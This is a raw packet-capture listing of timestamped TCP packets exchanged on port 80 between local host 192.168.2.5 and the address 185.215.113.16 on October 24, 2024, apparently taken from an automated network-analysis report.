Oct 24, 2024 19:29:24.042376995 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.042428017 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.156125069 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156183004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156219006 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156253099 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156280041 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.156306982 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156306982 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.156342983 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156378984 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156430960 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156435013 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.156466961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156482935 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.156521082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156554937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156589031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156608105 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.156624079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156629086 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.156675100 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156725883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156733036 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.156760931 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156801939 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156815052 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.156857967 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156912088 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156925917 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.156948090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.156984091 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157010078 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157017946 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157052994 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157064915 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157104015 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157139063 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157160044 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157171965 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157223940 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157223940 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157259941 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157310963 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157345057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157368898 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157377958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157388926 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157413006 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157448053 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157481909 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157500029 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157516003 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157535076 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157552958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157587051 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157602072 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157638073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157671928 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157713890 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157722950 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157757998 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157774925 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157790899 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157825947 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157875061 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157876015 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157912970 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157931089 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.157944918 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.157983065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158015966 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158030033 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158050060 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158066988 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158102036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158137083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158152103 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158174992 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158209085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158245087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158265114 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158277035 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158288002 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158313036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158346891 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158370972 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158384085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158435106 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158437014 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158472061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158505917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158533096 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158555031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158606052 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158607006 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158643007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158678055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158704042 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158710957 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158762932 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158771038 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158797979 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158832073 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158865929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158883095 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158902884 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158921957 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.158940077 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.158974886 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159008980 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159017086 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.159043074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159056902 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.159076929 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159111023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159145117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159163952 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.159178972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159187078 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.159213066 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159246922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159280062 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159301996 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.159341097 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.159343958 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159384012 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159420013 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159439087 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.159454107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159487963 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159522057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159543991 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.159557104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159568071 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.159595013 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.159672976 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.199204922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.199280024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.199353933 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.199361086 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.199397087 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.199434042 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.199469090 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.199476957 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.199526072 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.199538946 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.199563026 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.199598074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.199625015 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.199639082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.199675083 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.199687958 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.199717045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.199771881 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.272984028 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273049116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273085117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273119926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273139000 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.273155928 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273170948 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.273192883 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273232937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273267031 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273272038 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.273320913 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273355961 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273358107 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.273411036 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273411036 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.273471117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273505926 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273520947 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.273541927 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273576021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273610115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273610115 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.273644924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.273695946 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274055004 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274106026 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274111032 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274142027 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274175882 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274209976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274225950 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274261951 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274270058 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274296999 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274332047 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274365902 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274386883 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274400949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274410009 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274436951 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274471045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274507046 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274523973 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274542093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274590969 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274593115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274629116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274642944 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274666071 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274698973 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274713993 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274733067 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274766922 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274799109 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274801016 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274837971 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274859905 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274873018 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274910927 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274945021 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274951935 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.274981976 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.274995089 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.275017023 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275051117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275084972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275105000 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.275126934 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.275172949 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275226116 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275259972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275278091 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.275294065 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275361061 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275394917 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275420904 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.275425911 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275441885 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.275464058 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275516033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275551081 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275566101 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.275587082 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275608063 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.275620937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275671959 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275703907 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275728941 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.275752068 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.275757074 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275790930 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275825024 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275856972 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275867939 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.275913000 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275918961 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.275947094 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.275999069 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276000023 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276034117 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276084900 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276086092 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276122093 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276173115 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276176929 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276207924 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276237011 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276259899 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276272058 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276305914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276323080 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276335001 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276370049 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276381969 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276405096 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276439905 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276473045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276485920 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276506901 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276523113 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276545048 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276575089 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276608944 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276611090 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276643038 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276674986 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276694059 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276710033 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276730061 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276743889 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276778936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276812077 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276827097 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276844978 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276859045 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276890993 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276901007 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276901007 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.276932001 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.276973009 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.277008057 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.277009010 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.277043104 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.277060032 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.277077913 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.277112007 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.277127028 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.277147055 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.277179003 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.277196884 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.277213097 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.277241945 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.277275085 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.277292013 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.277312040 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.277329922 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.315553904 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.315648079 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.315681934 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.315717936 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.315727949 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.315753937 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.315761089 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.315795898 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.315807104 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.316000938 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.316052914 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.316065073 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.316088915 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.316143990 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.316147089 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.316198111 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.316231966 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.316257954 CEST	49725	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:29:24.316266060 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.316301107 CEST	80	49725	185.215.113.16	192.168.2.5
Oct 24, 2024 19:29:24.316334009 CEST	80	49725	185.215.113.16	192.168.2.5
